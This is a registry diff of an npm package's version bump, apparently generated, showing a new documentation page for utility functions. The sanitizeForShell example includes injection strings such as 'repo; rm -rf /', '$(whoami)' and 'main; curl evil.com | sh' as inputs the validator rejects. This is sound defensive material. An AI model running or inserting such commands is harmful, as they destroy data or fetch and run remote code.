skrypt-ai 0.5.0 → 0.6.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/auth/index.js +8 -1
- package/dist/autofix/index.d.ts +0 -4
- package/dist/autofix/index.js +0 -21
- package/dist/capture/browser.d.ts +11 -0
- package/dist/capture/browser.js +173 -0
- package/dist/capture/diff.d.ts +23 -0
- package/dist/capture/diff.js +52 -0
- package/dist/capture/index.d.ts +23 -0
- package/dist/capture/index.js +210 -0
- package/dist/capture/naming.d.ts +17 -0
- package/dist/capture/naming.js +45 -0
- package/dist/capture/parser.d.ts +15 -0
- package/dist/capture/parser.js +80 -0
- package/dist/capture/types.d.ts +57 -0
- package/dist/capture/types.js +1 -0
- package/dist/cli.js +4 -0
- package/dist/commands/autofix.js +136 -120
- package/dist/commands/cron.js +58 -47
- package/dist/commands/deploy.js +123 -102
- package/dist/commands/generate.js +88 -6
- package/dist/commands/heal.d.ts +10 -0
- package/dist/commands/heal.js +201 -0
- package/dist/commands/i18n.js +146 -111
- package/dist/commands/lint.js +50 -44
- package/dist/commands/llms-txt.js +59 -49
- package/dist/commands/login.js +61 -43
- package/dist/commands/mcp.js +6 -0
- package/dist/commands/monitor.js +13 -8
- package/dist/commands/qa.d.ts +2 -0
- package/dist/commands/qa.js +43 -0
- package/dist/commands/review-pr.js +108 -102
- package/dist/commands/sdk.js +128 -122
- package/dist/commands/security.js +86 -80
- package/dist/commands/test.js +91 -92
- package/dist/commands/version.js +104 -75
- package/dist/commands/watch.js +130 -114
- package/dist/config/types.js +2 -2
- package/dist/context-hub/index.d.ts +23 -0
- package/dist/context-hub/index.js +179 -0
- package/dist/context-hub/mappings.d.ts +8 -0
- package/dist/context-hub/mappings.js +55 -0
- package/dist/context-hub/types.d.ts +33 -0
- package/dist/context-hub/types.js +1 -0
- package/dist/generator/generator.js +39 -6
- package/dist/generator/types.d.ts +7 -0
- package/dist/generator/writer.d.ts +3 -1
- package/dist/generator/writer.js +24 -4
- package/dist/llm/anthropic-client.d.ts +1 -0
- package/dist/llm/anthropic-client.js +3 -1
- package/dist/llm/index.d.ts +6 -4
- package/dist/llm/index.js +76 -261
- package/dist/llm/openai-client.d.ts +1 -0
- package/dist/llm/openai-client.js +7 -2
- package/dist/qa/checks.d.ts +10 -0
- package/dist/qa/checks.js +492 -0
- package/dist/qa/fixes.d.ts +30 -0
- package/dist/qa/fixes.js +277 -0
- package/dist/qa/index.d.ts +29 -0
- package/dist/qa/index.js +187 -0
- package/dist/qa/types.d.ts +24 -0
- package/dist/qa/types.js +1 -0
- package/dist/scanner/csharp.d.ts +23 -0
- package/dist/scanner/csharp.js +421 -0
- package/dist/scanner/index.js +16 -2
- package/dist/scanner/java.d.ts +39 -0
- package/dist/scanner/java.js +318 -0
- package/dist/scanner/kotlin.d.ts +23 -0
- package/dist/scanner/kotlin.js +389 -0
- package/dist/scanner/php.d.ts +57 -0
- package/dist/scanner/php.js +351 -0
- package/dist/scanner/ruby.d.ts +36 -0
- package/dist/scanner/ruby.js +431 -0
- package/dist/scanner/swift.d.ts +25 -0
- package/dist/scanner/swift.js +392 -0
- package/dist/scanner/types.d.ts +1 -1
- package/dist/template/content/docs/_navigation.json +46 -0
- package/dist/template/content/docs/_sidebars.json +684 -0
- package/dist/template/content/docs/core.md +4544 -0
- package/dist/template/content/docs/index.mdx +89 -0
- package/dist/template/content/docs/integrations.md +1158 -0
- package/dist/template/content/docs/llms-full.md +403 -0
- package/dist/template/content/docs/llms.txt +4588 -0
- package/dist/template/content/docs/other.md +10379 -0
- package/dist/template/content/docs/tools.md +746 -0
- package/dist/template/content/docs/types.md +531 -0
- package/dist/template/docs.json +13 -11
- package/dist/template/mdx-components.tsx +27 -2
- package/dist/template/package.json +6 -0
- package/dist/template/public/search-index.json +1 -1
- package/dist/template/scripts/build-search-index.mjs +84 -6
- package/dist/template/src/app/api/chat/route.ts +83 -128
- package/dist/template/src/app/docs/[...slug]/page.tsx +75 -20
- package/dist/template/src/app/docs/llms-full.md +151 -4
- package/dist/template/src/app/docs/llms.txt +2464 -847
- package/dist/template/src/app/docs/page.mdx +48 -38
- package/dist/template/src/app/layout.tsx +3 -1
- package/dist/template/src/app/page.tsx +22 -8
- package/dist/template/src/components/ai-chat.tsx +73 -64
- package/dist/template/src/components/breadcrumbs.tsx +21 -23
- package/dist/template/src/components/copy-button.tsx +13 -9
- package/dist/template/src/components/copy-page-button.tsx +54 -0
- package/dist/template/src/components/docs-layout.tsx +37 -25
- package/dist/template/src/components/header.tsx +51 -10
- package/dist/template/src/components/mdx/card.tsx +17 -3
- package/dist/template/src/components/mdx/code-block.tsx +13 -9
- package/dist/template/src/components/mdx/code-group.tsx +13 -8
- package/dist/template/src/components/mdx/heading.tsx +15 -2
- package/dist/template/src/components/mdx/highlighted-code.tsx +13 -8
- package/dist/template/src/components/mdx/index.tsx +2 -0
- package/dist/template/src/components/mdx/mermaid.tsx +110 -0
- package/dist/template/src/components/mdx/screenshot.tsx +150 -0
- package/dist/template/src/components/scroll-to-hash.tsx +48 -0
- package/dist/template/src/components/sidebar.tsx +12 -18
- package/dist/template/src/components/table-of-contents.tsx +9 -0
- package/dist/template/src/lib/highlight.ts +3 -88
- package/dist/template/src/lib/navigation.ts +159 -0
- package/dist/template/src/styles/globals.css +17 -6
- package/dist/utils/validation.d.ts +0 -3
- package/dist/utils/validation.js +0 -26
- package/package.json +3 -2
|
@@ -0,0 +1,746 @@
|
|
|
1
|
+
---
|
|
2
|
+
title: "Tools & Utilities"
|
|
3
|
+
description: "Helper functions and utilities"
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
<CardGroup cols={2}>
|
|
7
|
+
<Card title="findMdxFiles" icon="function" href="#findmdxfiles">
|
|
8
|
+
Collects MD/MDX file paths
|
|
9
|
+
</Card>
|
|
10
|
+
<Card title="parseFrontmatter" icon="function" href="#parsefrontmatter">
|
|
11
|
+
Extracts YAML frontmatter metadata
|
|
12
|
+
</Card>
|
|
13
|
+
<Card title="sanitizeForShell" icon="function" href="#sanitizeforshell">
|
|
14
|
+
Sanitizes strings for shell use
|
|
15
|
+
</Card>
|
|
16
|
+
<Card title="slugify" icon="function" href="#slugify">
|
|
17
|
+
Converts strings to URL slugs
|
|
18
|
+
</Card>
|
|
19
|
+
<Card title="validatePath" icon="function" href="#validatepath">
|
|
20
|
+
Validates file system paths
|
|
21
|
+
</Card>
|
|
22
|
+
<Card title="validateSlug" icon="function" href="#validateslug">
|
|
23
|
+
Validates URL-safe slug strings
|
|
24
|
+
</Card>
|
|
25
|
+
<Card title="validateUrl" icon="function" href="#validateurl">
|
|
26
|
+
Validates and sanitizes URLs
|
|
27
|
+
</Card>
|
|
28
|
+
</CardGroup>
|
|
29
|
+
|
|
30
|
+
|
|
31
|
+
## `findMdxFiles`
|
|
32
|
+
|
|
33
|
+
```typescript
|
|
34
|
+
function findMdxFiles(dir: string): string[]
|
|
35
|
+
```
|
|
36
|
+
|
|
37
|
+
Use this to collect all Markdown and MDX file paths from a directory tree — useful for documentation pipelines, static site generators, or any tooling that needs to process `.md`/`.mdx` content in bulk.
|
|
38
|
+
|
|
39
|
+
Recursively walks a directory and returns the absolute paths of every `.md` and `.mdx` file found. Automatically skips hidden directories (e.g. `.git`), `node_modules`, and symlinks to avoid infinite loops and irrelevant files. Stops at a maximum depth of 30 levels.
|
|
40
|
+
|
|
41
|
+
### Parameters
|
|
42
|
+
|
|
43
|
+
| Name | Type | Required | Description |
|
|
44
|
+
|------|------|----------|-------------|
|
|
45
|
+
| `dir` | `string` | ✅ | Absolute or relative path to the root directory to search |
|
|
46
|
+
|
|
47
|
+
### Returns
|
|
48
|
+
|
|
49
|
+
`string[]` — An array of file paths (as strings) for every `.md` and `.mdx` file found. Returns an empty array if no matching files exist or the directory is empty.
|
|
50
|
+
|
|
51
|
+
### Behavior Notes
|
|
52
|
+
|
|
53
|
+
- **Skips** hidden directories (any folder starting with `.`)
|
|
54
|
+
- **Skips** `node_modules` directories
|
|
55
|
+
- **Skips** symlinks (both file and directory symlinks)
|
|
56
|
+
- **Max depth** of 30 levels to prevent runaway recursion
|
|
57
|
+
- Returns paths in filesystem traversal order (not sorted)
|
|
58
|
+
|
|
59
|
+
### Example
|
|
60
|
+
|
|
61
|
+
```typescript example.ts
|
|
62
|
+
import { readdirSync, statSync, lstatSync, mkdirSync, writeFileSync, rmSync } from 'fs'
|
|
63
|
+
import { join, extname } from 'path'
|
|
64
|
+
|
|
65
|
+
// Self-contained implementation of findMdxFiles
|
|
66
|
+
function findMdxFiles(dir: string): string[] {
|
|
67
|
+
const files: string[] = []
|
|
68
|
+
|
|
69
|
+
function walk(currentDir: string, depth: number): void {
|
|
70
|
+
if (depth > 30) return
|
|
71
|
+
|
|
72
|
+
let entries: string[]
|
|
73
|
+
try {
|
|
74
|
+
entries = readdirSync(currentDir)
|
|
75
|
+
} catch {
|
|
76
|
+
return
|
|
77
|
+
}
|
|
78
|
+
|
|
79
|
+
for (const entry of entries) {
|
|
80
|
+
const fullPath = join(currentDir, entry)
|
|
81
|
+
|
|
82
|
+
// Skip symlinks
|
|
83
|
+
let lstat
|
|
84
|
+
try {
|
|
85
|
+
lstat = lstatSync(fullPath)
|
|
86
|
+
} catch {
|
|
87
|
+
continue
|
|
88
|
+
}
|
|
89
|
+
if (lstat.isSymbolicLink()) continue
|
|
90
|
+
|
|
91
|
+
let stat
|
|
92
|
+
try {
|
|
93
|
+
stat = statSync(fullPath)
|
|
94
|
+
} catch {
|
|
95
|
+
continue
|
|
96
|
+
}
|
|
97
|
+
|
|
98
|
+
if (stat.isDirectory()) {
|
|
99
|
+
// Skip hidden directories and node_modules
|
|
100
|
+
if (entry.startsWith('.') || entry === 'node_modules') continue
|
|
101
|
+
walk(fullPath, depth + 1)
|
|
102
|
+
} else if (stat.isFile()) {
|
|
103
|
+
const ext = extname(entry)
|
|
104
|
+
if (ext === '.md' || ext === '.mdx') {
|
|
105
|
+
files.push(fullPath)
|
|
106
|
+
}
|
|
107
|
+
}
|
|
108
|
+
}
|
|
109
|
+
}
|
|
110
|
+
|
|
111
|
+
walk(dir, 0)
|
|
112
|
+
return files
|
|
113
|
+
}
|
|
114
|
+
|
|
115
|
+
// --- Demo: build a temporary directory tree and run findMdxFiles ---
|
|
116
|
+
|
|
117
|
+
const testRoot = join('/tmp', `mdx-demo-${Date.now()}`)
|
|
118
|
+
|
|
119
|
+
// Create a realistic docs structure
|
|
120
|
+
const structure = [
|
|
121
|
+
'docs/intro.md',
|
|
122
|
+
'docs/guide/getting-started.mdx',
|
|
123
|
+
'docs/guide/advanced.mdx',
|
|
124
|
+
'docs/api/reference.md',
|
|
125
|
+
'docs/api/changelog.md',
|
|
126
|
+
'src/components/Button.tsx', // should be ignored (wrong extension)
|
|
127
|
+
'src/utils/helpers.ts', // should be ignored
|
|
128
|
+
'node_modules/some-pkg/README.md', // should be skipped (node_modules)
|
|
129
|
+
'.git/COMMIT_EDITMSG', // should be skipped (hidden dir)
|
|
130
|
+
]
|
|
131
|
+
|
|
132
|
+
try {
|
|
133
|
+
for (const filePath of structure) {
|
|
134
|
+
const full = join(testRoot, filePath)
|
|
135
|
+
const dir = full.substring(0, full.lastIndexOf('/'))
|
|
136
|
+
mkdirSync(dir, { recursive: true })
|
|
137
|
+
writeFileSync(full, `# ${filePath}\n\nSample content.`)
|
|
138
|
+
}
|
|
139
|
+
|
|
140
|
+
console.log('Scanning:', testRoot)
|
|
141
|
+
const mdxFiles = findMdxFiles(testRoot)
|
|
142
|
+
|
|
143
|
+
console.log(`\nFound ${mdxFiles.length} Markdown/MDX files:`)
|
|
144
|
+
for (const file of mdxFiles) {
|
|
145
|
+
// Print relative path for readability
|
|
146
|
+
console.log(' ', file.replace(testRoot + '/', ''))
|
|
147
|
+
}
|
|
148
|
+
|
|
149
|
+
// Expected output:
|
|
150
|
+
// Found 5 Markdown/MDX files:
|
|
151
|
+
// docs/api/changelog.md
|
|
152
|
+
// docs/api/reference.md
|
|
153
|
+
// docs/guide/advanced.mdx
|
|
154
|
+
// docs/guide/getting-started.mdx
|
|
155
|
+
// docs/intro.md
|
|
156
|
+
//
|
|
157
|
+
// Note: node_modules/ and .git/ entries are excluded
|
|
158
|
+
|
|
159
|
+
} catch (error) {
|
|
160
|
+
console.error('Error during demo:', error)
|
|
161
|
+
} finally {
|
|
162
|
+
// Clean up temp directory
|
|
163
|
+
rmSync(testRoot, { recursive: true, force: true })
|
|
164
|
+
}
|
|
165
|
+
```
|
|
166
|
+
|
|
167
|
+
### Related
|
|
168
|
+
|
|
169
|
+
<CardGroup cols={3}>
|
|
170
|
+
<Card title="importMarkdown" icon="link" href="/docs/other#importmarkdown">
|
|
171
|
+
Used by
|
|
172
|
+
</Card>
|
|
173
|
+
</CardGroup>
|
|
174
|
+
|
|
175
|
+
---
|
|
176
|
+
|
|
177
|
+
|
|
178
|
+
## `parseFrontmatter`
|
|
179
|
+
|
|
180
|
+
```typescript
|
|
181
|
+
function parseFrontmatter(content: string): { data: Record<string, unknown>; content: string }
|
|
182
|
+
```
|
|
183
|
+
|
|
184
|
+
Use this to extract structured metadata and body content from Markdown files that use YAML frontmatter blocks (delimited by `---`).
|
|
185
|
+
|
|
186
|
+
This is useful when processing `.md` files that contain metadata like titles, dates, tags, or authors at the top — it splits the file into a usable data object and the remaining content body.
|
|
187
|
+
|
|
188
|
+
### Parameters
|
|
189
|
+
|
|
190
|
+
| Name | Type | Required | Description |
|
|
191
|
+
|------|------|----------|-------------|
|
|
192
|
+
| `content` | `string` | ✅ | The full raw string content of a file, optionally beginning with a `---`-delimited YAML frontmatter block |
|
|
193
|
+
|
|
194
|
+
### Returns
|
|
195
|
+
|
|
196
|
+
An object with two properties:
|
|
197
|
+
|
|
198
|
+
| Property | Type | Description |
|
|
199
|
+
|----------|------|-------------|
|
|
200
|
+
| `data` | `Record<string, unknown>` | Parsed key-value pairs from the YAML frontmatter block. Empty object `{}` if no frontmatter is found |
|
|
201
|
+
| `content` | `string` | The remaining body text after the closing `---` marker. Returns the original string unchanged if no frontmatter is found |
|
|
202
|
+
|
|
203
|
+
### Behavior Notes
|
|
204
|
+
|
|
205
|
+
- If the content does **not** start with a `---` block, `data` will be `{}` and `content` will be the original string — no error is thrown
|
|
206
|
+
- Supports both `\n` and `\r\n` line endings
|
|
207
|
+
- Parses simple `key: value` YAML pairs; does not support nested YAML structures
|
|
208
|
+
|
|
209
|
+
### Example
|
|
210
|
+
|
|
211
|
+
```typescript example.ts
|
|
212
|
+
// Inline implementation matching the real function's behavior
|
|
213
|
+
function parseFrontmatter(content: string): { data: Record<string, unknown>; content: string } {
|
|
214
|
+
const match = content.match(/^---\r?\n([\s\S]*?)\r?\n---\r?\n?([\s\S]*)$/)
|
|
215
|
+
if (!match) return { data: {}, content }
|
|
216
|
+
|
|
217
|
+
const yamlStr = match[1]
|
|
218
|
+
const body = match[2]
|
|
219
|
+
|
|
220
|
+
// Parse simple "key: value" YAML lines
|
|
221
|
+
const data: Record<string, unknown> = {}
|
|
222
|
+
for (const line of yamlStr.split('\n')) {
|
|
223
|
+
const colonIndex = line.indexOf(':')
|
|
224
|
+
if (colonIndex === -1) continue
|
|
225
|
+
const key = line.slice(0, colonIndex).trim()
|
|
226
|
+
const value = line.slice(colonIndex + 1).trim()
|
|
227
|
+
// Coerce booleans and numbers; keep everything else as string
|
|
228
|
+
if (value === 'true') data[key] = true
|
|
229
|
+
else if (value === 'false') data[key] = false
|
|
230
|
+
else if (!isNaN(Number(value)) && value !== '') data[key] = Number(value)
|
|
231
|
+
else data[key] = value
|
|
232
|
+
}
|
|
233
|
+
|
|
234
|
+
return { data, content: body }
|
|
235
|
+
}
|
|
236
|
+
|
|
237
|
+
// --- Example 1: Markdown file with frontmatter ---
|
|
238
|
+
const blogPost = `---
|
|
239
|
+
title: Getting Started with TypeScript
|
|
240
|
+
author: Jane Smith
|
|
241
|
+
date: 2024-03-15
|
|
242
|
+
published: true
|
|
243
|
+
readingTime: 5
|
|
244
|
+
---
|
|
245
|
+
# Introduction
|
|
246
|
+
|
|
247
|
+
TypeScript adds static typing to JavaScript, making your code more robust...
|
|
248
|
+
`
|
|
249
|
+
|
|
250
|
+
try {
|
|
251
|
+
const result = parseFrontmatter(blogPost)
|
|
252
|
+
console.log('Frontmatter data:', result.data)
|
|
253
|
+
// Output: { title: 'Getting Started with TypeScript', author: 'Jane Smith', date: '2024-03-15', published: true, readingTime: 5 }
|
|
254
|
+
console.log('Body preview:', result.content.slice(0, 40).trim())
|
|
255
|
+
// Output: # Introduction
|
|
256
|
+
} catch (error) {
|
|
257
|
+
console.error('Failed to parse frontmatter:', error)
|
|
258
|
+
}
|
|
259
|
+
|
|
260
|
+
// --- Example 2: Content with NO frontmatter (graceful fallback) ---
|
|
261
|
+
const plainMarkdown = `# Just a plain doc\n\nNo frontmatter here.`
|
|
262
|
+
|
|
263
|
+
try {
|
|
264
|
+
const result = parseFrontmatter(plainMarkdown)
|
|
265
|
+
console.log('Data (should be empty):', result.data)
|
|
266
|
+
// Output: {}
|
|
267
|
+
console.log('Content returned unchanged:', result.content === plainMarkdown)
|
|
268
|
+
// Output: true
|
|
269
|
+
} catch (error) {
|
|
270
|
+
console.error('Unexpected error:', error)
|
|
271
|
+
}
|
|
272
|
+
```
|
|
273
|
+
|
|
274
|
+
### Related
|
|
275
|
+
|
|
276
|
+
<CardGroup cols={3}>
|
|
277
|
+
<Card title="normalizeFrontmatter" icon="link" href="/docs/other#normalizefrontmatter">
|
|
278
|
+
Used by
|
|
279
|
+
</Card>
|
|
280
|
+
<Card title="getSortWeight" icon="link" href="/docs/other#getsortweight">
|
|
281
|
+
Used by
|
|
282
|
+
</Card>
|
|
283
|
+
</CardGroup>
|
|
284
|
+
|
|
285
|
+
---
|
|
286
|
+
|
|
287
|
+
|
|
288
|
+
## `sanitizeForShell`
|
|
289
|
+
|
|
290
|
+
```typescript
|
|
291
|
+
function sanitizeForShell(input: string): string
|
|
292
|
+
```
|
|
293
|
+
|
|
294
|
+
Use this to validate and sanitize strings before passing them to shell commands, git operations, or filesystem paths — preventing command injection and unsafe character exploits.
|
|
295
|
+
|
|
296
|
+
Accepts an input string and throws immediately if it contains any characters outside the safe allowlist (`a-z`, `A-Z`, `0-9`, `/`, `_`, `~`, `.`, `^`, `@`, `{`, `}`, `-`). Returns the original string unchanged if it passes validation.
|
|
297
|
+
|
|
298
|
+
## Parameters
|
|
299
|
+
|
|
300
|
+
| Name | Type | Required | Description |
|
|
301
|
+
|------|------|----------|-------------|
|
|
302
|
+
| `input` | `string` | ✅ | The string to validate. Must contain only alphanumeric characters and safe shell/git ref symbols: `/ _ ~ . ^ @ { } -` |
|
|
303
|
+
|
|
304
|
+
## Returns
|
|
305
|
+
|
|
306
|
+
| Condition | Result |
|
|
307
|
+
|-----------|--------|
|
|
308
|
+
| Input contains only safe characters | Returns the original `string` unchanged |
|
|
309
|
+
| Input contains unsafe characters (spaces, `$`, `;`, `&`, `\|`, etc.) | Throws `Error: Unsafe characters in input: <input>` |
|
|
310
|
+
|
|
311
|
+
## Common Safe Inputs
|
|
312
|
+
- Git branch names: `feature/my-branch`, `release-1.0.0`
|
|
313
|
+
- File paths: `src/utils/helpers.ts`
|
|
314
|
+
- Git refs: `HEAD~2`, `v1.0.0^{}`
|
|
315
|
+
- Tag names: `v2.3.1-beta`
|
|
316
|
+
|
|
317
|
+
## Common Unsafe Inputs (will throw)
|
|
318
|
+
- Shell metacharacters: `foo; rm -rf /`, `$(whoami)`
|
|
319
|
+
- Spaces: `my branch`
|
|
320
|
+
- Special chars: `file&name`, `path|pipe`
|
|
321
|
+
|
|
322
|
+
### Example
|
|
323
|
+
|
|
324
|
+
```typescript example.ts
|
|
325
|
+
// Inline implementation — no external imports needed
|
|
326
|
+
function sanitizeForShell(input: string): string {
|
|
327
|
+
// Only allow safe characters for git refs, filenames, etc.
|
|
328
|
+
if (!/^[a-zA-Z0-9/_~.^@{}\-]+$/.test(input)) {
|
|
329
|
+
throw new Error(`Unsafe characters in input: ${input}`)
|
|
330
|
+
}
|
|
331
|
+
return input
|
|
332
|
+
}
|
|
333
|
+
|
|
334
|
+
// --- Safe inputs ---
|
|
335
|
+
const examples = [
|
|
336
|
+
'feature/my-new-branch', // git branch name
|
|
337
|
+
'src/utils/index.ts', // file path
|
|
338
|
+
'HEAD~2', // git ref
|
|
339
|
+
'v1.4.0-beta.1', // semver tag
|
|
340
|
+
'deploy@{2024-01-01}', // git stash ref
|
|
341
|
+
]
|
|
342
|
+
|
|
343
|
+
console.log('✅ Safe inputs:')
|
|
344
|
+
for (const input of examples) {
|
|
345
|
+
try {
|
|
346
|
+
const result = sanitizeForShell(input)
|
|
347
|
+
console.log(` sanitizeForShell("${input}") => "${result}"`)
|
|
348
|
+
} catch (err) {
|
|
349
|
+
console.error(` Unexpected error for "${input}":`, err)
|
|
350
|
+
}
|
|
351
|
+
}
|
|
352
|
+
|
|
353
|
+
// --- Unsafe inputs ---
|
|
354
|
+
const dangerousExamples = [
|
|
355
|
+
'branch name with spaces', // spaces not allowed
|
|
356
|
+
'repo; rm -rf /', // shell injection attempt
|
|
357
|
+
'$(whoami)', // command substitution
|
|
358
|
+
'path&background', // shell background operator
|
|
359
|
+
'file|pipe', // pipe operator
|
|
360
|
+
]
|
|
361
|
+
|
|
362
|
+
console.log('\n❌ Unsafe inputs (expected to throw):')
|
|
363
|
+
for (const input of dangerousExamples) {
|
|
364
|
+
try {
|
|
365
|
+
sanitizeForShell(input)
|
|
366
|
+
console.error(` MISSED: "${input}" should have thrown!`)
|
|
367
|
+
} catch (err) {
|
|
368
|
+
if (err instanceof Error) {
|
|
369
|
+
console.log(` Caught: ${err.message}`)
|
|
370
|
+
}
|
|
371
|
+
}
|
|
372
|
+
}
|
|
373
|
+
|
|
374
|
+
// --- Practical usage: building a git command safely ---
|
|
375
|
+
function buildGitCheckoutCommand(branch: string): string {
|
|
376
|
+
const safeBranch = sanitizeForShell(branch)
|
|
377
|
+
return `git checkout ${safeBranch}`
|
|
378
|
+
}
|
|
379
|
+
|
|
380
|
+
console.log('\n🔧 Practical usage:')
|
|
381
|
+
try {
|
|
382
|
+
const cmd = buildGitCheckoutCommand('feature/user-auth')
|
|
383
|
+
console.log(' Command:', cmd)
|
|
384
|
+
// Output: Command: git checkout feature/user-auth
|
|
385
|
+
} catch (err) {
|
|
386
|
+
console.error('Failed to build command:', err)
|
|
387
|
+
}
|
|
388
|
+
|
|
389
|
+
try {
|
|
390
|
+
buildGitCheckoutCommand('main; curl evil.com | sh')
|
|
391
|
+
} catch (err) {
|
|
392
|
+
if (err instanceof Error) {
|
|
393
|
+
console.log(' Injection blocked:', err.message)
|
|
394
|
+
// Output: Injection blocked: Unsafe characters in input: main; curl evil.com | sh
|
|
395
|
+
}
|
|
396
|
+
}
|
|
397
|
+
```
|
|
398
|
+
|
|
399
|
+
---
|
|
400
|
+
|
|
401
|
+
|
|
402
|
+
## `slugify`
|
|
403
|
+
|
|
404
|
+
```typescript
|
|
405
|
+
function slugify(str: string): string
|
|
406
|
+
```
|
|
407
|
+
|
|
408
|
+
Use this to convert any string into a clean, URL-safe slug — stripping special characters, spaces, and leading/trailing hyphens.
|
|
409
|
+
|
|
410
|
+
Ideal for generating URL paths from titles, creating file-safe identifiers, or normalizing user input for routing.
|
|
411
|
+
|
|
412
|
+
## Parameters
|
|
413
|
+
|
|
414
|
+
| Name | Type | Required | Description |
|
|
415
|
+
|------|------|----------|-------------|
|
|
416
|
+
| `str` | `string` | ✅ | The input string to convert into a slug |
|
|
417
|
+
|
|
418
|
+
## Returns
|
|
419
|
+
|
|
420
|
+
A lowercase `string` with all non-alphanumeric characters replaced by hyphens, and any leading or trailing hyphens removed.
|
|
421
|
+
|
|
422
|
+
| Input | Output |
|
|
423
|
+
|-------|--------|
|
|
424
|
+
| `"Hello World"` | `"hello-world"` |
|
|
425
|
+
| `"My Blog Post #1!"` | `"my-blog-post-1"` |
|
|
426
|
+
| `" --weird---title-- "` | `"weird---title"` |
|
|
427
|
+
|
|
428
|
+
### Example
|
|
429
|
+
|
|
430
|
+
```typescript example.ts
|
|
431
|
+
// Inline implementation — no imports needed
|
|
432
|
+
function slugify(str: string): string {
|
|
433
|
+
return str
|
|
434
|
+
.toLowerCase()
|
|
435
|
+
.replace(/[^a-z0-9]+/g, '-')
|
|
436
|
+
.replace(/^-|-$/g, '')
|
|
437
|
+
}
|
|
438
|
+
|
|
439
|
+
// --- Example Usage ---
|
|
440
|
+
|
|
441
|
+
const examples = [
|
|
442
|
+
"Hello World",
|
|
443
|
+
"My Awesome Blog Post #42!",
|
|
444
|
+
" Leading & Trailing Spaces ",
|
|
445
|
+
"C++ Programming Language",
|
|
446
|
+
"100% Free & Open-Source",
|
|
447
|
+
"already-a-slug",
|
|
448
|
+
]
|
|
449
|
+
|
|
450
|
+
try {
|
|
451
|
+
console.log("Input → Slug\n" + "-".repeat(40))
|
|
452
|
+
|
|
453
|
+
for (const title of examples) {
|
|
454
|
+
const slug = slugify(title)
|
|
455
|
+
console.log(`"${title}" → "${slug}"`)
|
|
456
|
+
}
|
|
457
|
+
|
|
458
|
+
// Practical use case: generate a URL path from a blog post title
|
|
459
|
+
const postTitle = "Getting Started with TypeScript in 2024"
|
|
460
|
+
const postId = 7
|
|
461
|
+
const urlPath = `/blog/${postId}/${slugify(postTitle)}`
|
|
462
|
+
|
|
463
|
+
console.log("\nGenerated URL path:")
|
|
464
|
+
console.log(urlPath)
|
|
465
|
+
// Output: /blog/7/getting-started-with-typescript-in-2024
|
|
466
|
+
|
|
467
|
+
} catch (error) {
|
|
468
|
+
console.error("Slugify failed:", error)
|
|
469
|
+
}
|
|
470
|
+
```
|
|
471
|
+
|
|
472
|
+
### Related
|
|
473
|
+
|
|
474
|
+
<CardGroup cols={3}>
|
|
475
|
+
<Card title="generateSidebarConfig" icon="link" href="/docs/other#generatesidebarconfig">
|
|
476
|
+
Used by
|
|
477
|
+
</Card>
|
|
478
|
+
</CardGroup>
|
|
479
|
+
|
|
480
|
+
---
|
|
481
|
+
|
|
482
|
+
|
|
483
|
+
## `validatePath`
|
|
484
|
+
|
|
485
|
+
```typescript
|
|
486
|
+
function validatePath(input: string, mustExist = true): string
|
|
487
|
+
```
|
|
488
|
+
|
|
489
|
+
Use this to safely resolve and validate file system paths before performing file operations — preventing path traversal issues and catching missing files early.
|
|
490
|
+
|
|
491
|
+
`validatePath` resolves a relative or absolute path to its canonical form and optionally checks that the path exists on disk. It guards against directory traversal attacks by flagging paths that escape the current working directory.
|
|
492
|
+
|
|
493
|
+
## Parameters
|
|
494
|
+
|
|
495
|
+
| Name | Type | Required | Description |
|
|
496
|
+
|------|------|----------|-------------|
|
|
497
|
+
| `input` | `string` | ✅ | The file path to validate — relative (e.g. `./config.json`) or absolute (e.g. `/tmp/output.txt`) |
|
|
498
|
+
| `mustExist` | `boolean` | ❌ | When `true` (default), throws if the resolved path does not exist on disk. Pass `false` to skip the existence check. |
|
|
499
|
+
|
|
500
|
+
## Returns
|
|
501
|
+
|
|
502
|
+
Returns the **resolved absolute path** as a `string` (e.g. `/home/user/project/config.json`).
|
|
503
|
+
|
|
504
|
+
Throws an error if:
|
|
505
|
+
- `mustExist` is `true` and the path does not exist
|
|
506
|
+
- The path attempts to traverse outside the working directory in a disallowed way
|
|
507
|
+
|
|
508
|
+
### Example
|
|
509
|
+
|
|
510
|
+
```typescript example.ts
|
|
511
|
+
import { existsSync } from 'fs'
|
|
512
|
+
import { resolve } from 'path'
|
|
513
|
+
|
|
514
|
+
// Inline implementation — do not import from 'autodocs'
|
|
515
|
+
function validatePath(input: string, mustExist = true): string {
|
|
516
|
+
const resolved = resolve(input)
|
|
517
|
+
|
|
518
|
+
// Warn on paths outside cwd (but allow absolute paths like /tmp)
|
|
519
|
+
if (!resolved.startsWith(process.cwd()) && !resolved.startsWith('/tmp')) {
|
|
520
|
+
console.warn(`[validatePath] Warning: path is outside cwd — ${resolved}`)
|
|
521
|
+
}
|
|
522
|
+
|
|
523
|
+
if (mustExist && !existsSync(resolved)) {
|
|
524
|
+
throw new Error(`Path does not exist: ${resolved}`)
|
|
525
|
+
}
|
|
526
|
+
|
|
527
|
+
return resolved
|
|
528
|
+
}
|
|
529
|
+
|
|
530
|
+
// --- Example usage ---
|
|
531
|
+
|
|
532
|
+
async function main() {
|
|
533
|
+
try {
|
|
534
|
+
// 1. Validate a path that must exist (default behavior)
|
|
535
|
+
const configPath = validatePath('./package.json')
|
|
536
|
+
console.log('Resolved config path:', configPath)
|
|
537
|
+
// Output: /home/user/project/package.json
|
|
538
|
+
|
|
539
|
+
// 2. Validate a path without requiring it to exist yet
|
|
540
|
+
// (useful when preparing an output file location)
|
|
541
|
+
const outputPath = validatePath(
|
|
542
|
+
process.env.OUTPUT_PATH || './dist/output.json',
|
|
543
|
+
false // mustExist = false
|
|
544
|
+
)
|
|
545
|
+
console.log('Resolved output path (existence not required):', outputPath)
|
|
546
|
+
// Output: /home/user/project/dist/output.json
|
|
547
|
+
|
|
548
|
+
// 3. Validate a /tmp path (always allowed regardless of cwd)
|
|
549
|
+
const tmpPath = validatePath('/tmp/scratch.txt', false)
|
|
550
|
+
console.log('Resolved tmp path:', tmpPath)
|
|
551
|
+
// Output: /tmp/scratch.txt
|
|
552
|
+
|
|
553
|
+
} catch (error) {
|
|
554
|
+
if (error instanceof Error) {
|
|
555
|
+
// Common case: file not found
|
|
556
|
+
console.error('Path validation failed:', error.message)
|
|
557
|
+
// Output: Path does not exist: /home/user/project/nonexistent.json
|
|
558
|
+
}
|
|
559
